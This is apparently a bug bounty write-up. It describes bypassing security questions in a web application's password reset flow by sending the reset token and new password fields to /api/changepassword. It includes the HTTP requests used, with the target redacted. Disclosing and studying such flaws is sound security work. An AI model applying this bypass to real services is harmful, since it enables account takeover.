Hi everyone, in this article, I'll walk you guys through a small bypass I found that helped me bypass the security questions altogether and change the user's password.

Note: Apologies for the lack of screenshots. I do not have the permissions to post them.

Before going the through the vulnerability, I'll walk you through the high level diagram and the issue.

Application overview

The reset/forgot password module allows users to change their password. If a user has security questions set on their account, they will have to answer all the three security questions that they had set before the application allows them to change the password.

However, if the user hadn't set up the security questions, they could directly change their password through the password change link that they had received on their email client.

None
High level Diagram

When a user clicks the reset/forgot password link, a POST request is sent to the /api/resetpassword endpoint. An email is received on the user's email client which contains a unique link. The link contains a token parameter which allows users to change their password. The link is in the format: /account/resetpassword?token=TOKEN&ref=

Upon clicking the link, the user is taken to the website. If the user had security questions set on their profile page, the /account/resetpassword?token=TOKEN&ref= would render the three security questions before they are allowed to change their password. A request is sent to the /api/checksecurityquestion endpoint when a response is submitted by the user for each question with the following body.

{
"token":"REDACTED",
"question":1,
"answer":"<answer>
}

If the security questions are not configured, the /account/resetpassword?token=TOKEN&ref= endpoint would just provide the user with a new password and confirm password fields. A POST request is sent to the /api/changepassword endpoint with the following body and the user's password is changed.

{
"token":"REDACTED",
"newpassword":"<password>",
"confirmpassword":"<password>"
}

The Vulnerability

The bypass is quite simple. I created an account with security questions configured. I issued a password reset email and clicked on the email.

As expected I was provided with the list of security questions.

I entered random information on the first question which triggered the following request:

POST /api/checksecurityquestion HTTP/1.1
Host: <REDACTED>
Content-Type: application/json
Content-Length: X

{
"token":"REDACTED",
"question":1,
"answer":":"asdf"
}

I changed the request endpoint to /api/changepassword and added new password and confirm password fields. The final request body was:

POST /api/changepassword HTTP/1.1
Host: <REDACTED>
Content-Type: application/json
Content-Length: X

{
"token":"REDACTED",
"question":1,
"answer":":"asdf",
"newpassword":"<password>",
"confirmpassword":"<password>"
}

The result? I got the following output.

200 OK
...
...

valid:"true"

Since the UI did not know how to handle this output, I displayed a JS error on the UI. However, when I tried logging in through the new credentials, it succeeded.

Hope you enjoyed reading the article. Please consider subscribing and clapping for the article.

In case you are interested in CTF/THM/HTB writeups consider visiting my YouTube channel.